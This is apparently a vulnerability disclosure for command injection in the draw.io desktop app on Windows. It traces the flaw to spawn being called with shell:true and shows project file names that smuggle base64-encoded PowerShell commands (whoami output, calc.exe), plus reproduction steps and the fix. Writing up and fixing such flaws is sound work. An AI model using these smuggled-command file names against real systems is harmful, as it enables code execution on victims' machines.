The user must load a malicious project.
In version 20.3.3 (commit 5383c20e947fd772668316e407edc5d5db4850db), the shell=true
option is added to a spawn
execution. This is really dangerous has it allows a malicious user to execute commands even from attributes. Example:
const cp = require("child_process");
const user_input = "; id > /tmp/pwned";
cp.spawn("ls", ["-al", user_input], { shell: true })
The above snippet will result in creation of /tmp/pwned
with the result of the id
command inside.
If we take a look at the vulnerable code, we can see the following:
async function saveDraft(fileObject, data)
{
var draftFileName = fileObject.draftFileName || getDraftFileName(fileObject);
if (!checkFileContent(data) || path.resolve(draftFileName).startsWith(__dirname))
{
throw new Error('Invalid file data');
}
else
{
await fsProm.writeFile(draftFileName, data, 'utf8');
if (isWin)
{
try
{
// Add Hidden attribute:
var child = spawn('attrib', ['+h', draftFileName], {shell: true}); // <--- vulnerable code here
child.on('error', function(err)
{
console.log('hiding draft file error: ' + err);
});
} catch(e) {}
}
return draftFileName;
}
}
As you can see, if we control fileObject.draftFileName
, we should be able to inject command. The current operating system
must be windows
The main problem here, is that this function is associated to the ipc switch
which is exposed to the renderer
process. Moreover, this ipc action
is automatically called each time the current project is saved with a filename that contains the current project one. That’s why, creating a malicious project named a&&powershell -e dwBoAG8AYQBtAGkAIAA+ACAAJABlAG4AdgA6AHQAZQBtAHAALwBwAHcAbgBlAGQA&&a
1. Download the version 21.3.7
version here.
2. Open the following project: https://mizu.re/PoC/drawio/a&&powershell -e JAB3AGgAbwBhAG0AaQAgAD4AIAAkAGUAbgB2ADoAdABlAG0AcAAvAHAAdwBuAGUAZAA=&&a.drawio
(don’t change the filename!)
3. Move
an object and save
the project.
4. Go to %TEMP%
and you should see a pwned
file with the whoami
command output inside.
Another PoC with calc.exe
Payload: a&&powershell -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACcAQwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHQAZQBtADMAMgBcAGMAYQBsAGMALgBlAHgAZQAnAA==&&a.drawio
Remove the shell=true
option inside the spawn
command.